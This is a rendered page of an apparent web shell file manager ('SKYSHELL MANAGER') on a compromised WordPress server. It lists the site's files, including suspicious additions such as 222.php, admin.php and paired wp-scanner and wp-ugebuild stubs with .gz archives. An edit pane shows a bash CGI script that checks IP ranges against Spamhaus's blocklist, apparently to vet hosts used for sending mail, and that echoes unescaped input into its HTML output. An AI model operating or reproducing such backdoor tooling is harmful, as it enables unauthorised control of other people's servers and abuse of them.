📁
SKYSHELL MANAGER
PHP v8.1.29
Create
Create
Path:
root
/
var
/
www
/
html
/
wxwpsite
/
surefundeals
/
Name
Size
Perm
Actions
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.51 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
222.php
15.76 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin.php
15.76 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
0.4 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
license.txt
19.44 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
readme.html
7.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-activate.php
7.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-blog-header.php
0.34 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-comments-post.php
2.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config-sample.php
3.26 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config.php
3.54 KB
0666
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-cron.php
5.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-links-opml.php
2.43 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-load.php
3.84 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-login.php
50.66 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
8.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-scanner.gz
21.5 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-scanner.php
0.15 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-settings.php
31.88 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-signup.php
33.94 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-trackback.php
5.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-ugebuild.gz
47.66 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-ugebuild.php
0.16 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
xmlrpc.php
3.13 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
yyj.txt
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: check_css_range.sh
#!/bin/bash echo "Content-type: text/html" echo "" read -n "$CONTENT_LENGTH" input_raw # Detect if input is range-based or bulk IPs if echo "$input_raw" | grep -q 'start_ip=' && echo "$input_raw" | grep -q 'end_ip='; then # --- RANGE BASED SCAN --- START_IP=$(echo "$input_raw" | sed -n 's/.*start_ip=\([^&]*\).*/\1/p' | sed 's/%2E/./g') END_IP=$(echo "$input_raw" | sed -n 's/.*end_ip=\([^&]*\).*/\1/p' | sed 's/%2E/./g') start=$(echo "$START_IP" | awk -F. '{printf("%d\n", ($1 * 256 ** 3) + ($2 * 256 ** 2) + ($3 * 256) + $4)}') end=$(echo "$END_IP" | awk -F. '{printf("%d\n", ($1 * 256 ** 3) + ($2 * 256 ** 2) + ($3 * 256) + $4)}') IPS="" for ((ip_dec=$start; ip_dec<=$end; ip_dec++)); do ip=$(printf "%d.%d.%d.%d" $(( (ip_dec >> 24) & 255 )) $(( (ip_dec >> 16) & 255 )) $(( (ip_dec >> 8) & 255 )) $(( ip_dec & 255 ))) IPS+="$ip"$'\n' done else # --- BULK IP BASED SCAN --- ip_data=$(echo "$input_raw" | sed -n 's/^.*ips=\(.*\)$/\1/p' | \ sed 's/%0D%0A/\n/g' | sed 's/%2E/./g' | sed 's/%/\\x/g' | xargs -0 printf "%b") IPS=$(echo "$ip_data" | sed '/^\s*$/d') fi # Initialize counters and arrays total_checked=0 listed_count=0 listed_ips=() listed_rdns=() clean_ips=() clean_rdns=() # HTML Header cat <<EOF <!DOCTYPE html> <html> <head> <title>Spamhaus CSS Check</title> <style> #loadingOverlay { position: fixed; top: 0; left: 0; width: 100vw; height: 50vh; display: flex; justify-content: center; align-items: center; font-size: 2rem; font-weight: bold; z-index: 9999; } body { font-family: Arial, sans-serif; background: url('/Purple.avif') no-repeat center center fixed; background-size: cover; } .result-box { max-width: 900px; margin: 20px auto; background: white; padding: 25px; border-radius: 10px; box-shadow: 0 0 10px rgba(0,0,0,0.1); } table { width: 100%; border-collapse: collapse; margin-top: 15px; } th, td { border: 1px solid #ccc; padding: 10px; text-align: center; } th { background-color: #007B8A; color: white; } tr:nth-child(even) { background-color: #f2f2f2; } .summary { text-align: center; font-weight: bold; font-size: 18px; } </style> </head> <body> <div id="loadingOverlay">Loading...</div> <div class="result-box"> <h2><i><center>Spamhaus CSS Check Results</center></i></h2> EOF # JS to hide loading cat <<EOF <script> window.addEventListener('load', function() { document.getElementById('loadingOverlay').style.display = 'none'; }); function toggleCleanIPs() { var div = document.getElementById("clean-ip-table"); div.style.display = div.style.display === "none" ? "block" : "none"; } </script> EOF # Process each IP IFS=$'\n' for ip in $IPS; do [[ -z "$ip" ]] && continue ((total_checked++)) ptr=$(dig +short -x "$ip" | sed 's/\.$//') [[ -z "$ptr" ]] && ptr="No PTR Record" query=$(echo "$ip" | awk -F. '{print $4"."$3"."$2"."$1".zen.spamhaus.org"}') result=$(dig +short "$query") if [[ "$result" == "127.0.0.3" ]]; then listed_ips+=("$ip") listed_rdns+=("$ptr") ((listed_count++)) else clean_ips+=("$ip") clean_rdns+=("$ptr") fi done # Listed IP Table cat <<EOF <div class="result-box"> <h2>🚫 Listed IPs</h2> <table> <tr><th>S.No</th><th>IP Address</th><th>PTR</th></tr> EOF for i in "${!listed_ips[@]}"; do echo "<tr><td>$((i+1))</td><td>${listed_ips[$i]}</td><td>${listed_rdns[$i]}</td></tr>" done cat <<EOF </table> </div> EOF # Clean IP Table cat <<EOF <div class="result-box"> <h2>✅ Clean IPs <button onclick="toggleCleanIPs()" style="margin-left:15px;">View</button> </h2> <div id="clean-ip-table" style="display:none;"> <table> <tr><th>S.No</th><th>IP Address</th><th>PTR</th></tr> EOF for i in "${!clean_ips[@]}"; do echo "<tr><td>$((i+1))</td><td>${clean_ips[$i]}</td><td>${clean_rdns[$i]}</td></tr>" done cat <<EOF </table> </div> </div> <div class="summary"> 🔍 Total Checked: $total_checked<br> ❌ Listed in CSS: $listed_count<br> ✅ Clean: $((total_checked - listed_count)) </div> <div style='text-align: center; margin-top: 20px;'> <form method='GET' action="/index.html"> <button style='padding: 10px 20px;'>Back</button> </form> </div> </body> </html> EOF
Save